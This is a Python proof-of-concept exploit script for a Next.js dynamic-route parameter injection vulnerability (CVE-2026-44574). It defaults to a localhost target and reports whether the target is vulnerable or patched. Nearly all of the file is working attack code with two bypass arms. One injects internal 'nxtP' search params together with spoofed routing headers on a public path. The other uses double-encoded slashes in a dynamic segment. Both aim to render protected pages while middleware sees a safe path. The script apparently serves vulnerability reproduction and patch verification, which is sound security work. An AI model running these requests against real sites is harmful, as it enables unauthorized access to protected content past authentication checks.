#!/usr/bin/env python3 """ CVE-2026-44574 / GHSA-492v-c6pp-mqqv — dynamic-route param injection bypass ========================================================================== Usage: TARGET=http://localhost:3000 python3 exploit.py Attack model ------------ Next.js represents matched dynamic-route params and locale information with internal search params named `nxtP` (path) and `nxtI` (intercept). On vulnerable versions the router accepts these on inbound user requests and uses them when building the page's `params` object. That creates a *split-view* primitive: * Middleware sees `request.nextUrl.pathname` = /safe * The App Router renders /admin/[slug] with slug = whatever attacker put in `nxtPslug=...` A second arm of the vulnerability is the encoded-slash double-encoding bug in `client/route-params.ts` (fixed in `f1c11203d5`) — the same primitive expressed via `%252F` in the pathname instead of via internal params. """ import os import sys import urllib.request import urllib.error import urllib.parse R, G, Y, B, N = "\033[0;31m", "\033[0;32m", "\033[1;33m", "\033[0;34m", "\033[0m" SENTINEL = "ADMIN_SECRET_FLAG" class NoRedirect(urllib.request.HTTPRedirectHandler): def redirect_request(self, *_a, **_kw): return None def fetch(url, headers=None, timeout=15): headers = headers or {} req = urllib.request.Request(url, headers=headers, method="GET") opener = urllib.request.build_opener(NoRedirect()) try: with opener.open(req, timeout=timeout) as resp: return resp.status, dict(resp.getheaders()), resp.read(200_000) except urllib.error.HTTPError as e: return e.code, dict(e.headers), e.read(200_000) except Exception as e: # noqa: BLE001 print(f"{R} network error: {e}{N}") return 0, {}, b"" def header(d, name): for k, v in d.items(): if k.lower() == name.lower(): return v return "" def main(): target = os.environ.get("TARGET", "http://localhost:3000").rstrip("/") base = os.environ.get("PROTECTED_BASE", "/admin") slug = os.environ.get("PROTECTED_SLUG", "secret-page") public = os.environ.get("PUBLIC_PATH", "/safe") print(f"{B}{'=' * 65}{N}") print(f"{B} CVE-2026-44574 — dynamic-route param injection (nxtP*) {N}") print(f"{B}{'=' * 65}{N}") print(f" Target : {target}") print(f" Protected route : {base}/[slug] slug={slug}") print(f" Public path : {public}\n") # ---- step 1 — baseline ----------------------------------------------- print(f"{Y}[1/4] Baseline — canonical GET {base}/{slug}{N}") code, h, _ = fetch(f"{target}{base}/{slug}") print(f" HTTP {code} Location: {header(h, 'location') or '(none)'}\n") # ---- step 2 — arm A: nxtP injection --------------------------------- print(f"{Y}[2/4] Bypass arm A — inject nxtPslug on a public path{N}") qs = urllib.parse.urlencode({ "nxtPslug": slug, "__nextDefaultLocale": "", "__nextLocale": "", }) url_a = f"{target}{public}?{qs}" print(f" GET {public}?{qs}") a_code, a_h, a_body = fetch(url_a, headers={ # x-matched-path / x-now-route-matches are the headers a typical # Vercel-style proxy forwards. They make the inner Next server # treat the request as if it had already been resolved to the # protected dynamic route. "x-matched-path": f"{base}/[slug]", "x-now-route-matches": f"1={slug}", }) a_text = a_body.decode("utf-8", "replace") print(f" HTTP {a_code} Content-Type: {header(a_h, 'content-type')}") print() # ---- step 3 — arm B: encoded-slash double encode -------------------- print(f"{Y}[3/4] Bypass arm B — double-encoded slash in dynamic segment{N}") url_b = f"{target}{base}/foo%252F{slug}" print(f" GET {base}/foo%252F{slug}") b_code, b_h, b_body = fetch(url_b) b_text = b_body.decode("utf-8", "replace") print(f" HTTP {b_code} Location: {header(b_h, 'location') or '(none)'}\n") # ---- step 4 — verdict ----------------------------------------------- print(f"{Y}[4/4] Verdict{N}") vuln = False if a_code == 200 and SENTINEL in a_text: vuln = True print(f" {R}x VULNERABLE — arm A: public path returned the" f" protected page (sentinel '{SENTINEL}' present).{N}") if b_code == 200 and SENTINEL in b_text: vuln = True print(f" {R}x VULNERABLE — arm B: encoded-slash request rendered" f" protected slug body.{N}") if vuln: print(f"\n{R}>>> RESULT: PASS (vulnerability reproduced) <<<{N}") sys.exit(0) print(f" {G}v PATCHED — neither arm reached the protected page.{N}") print(f"\n{G}>>> RESULT: FAIL (target appears patched >= v16.2.5) <<<{N}") sys.exit(1) if __name__ == "__main__": main()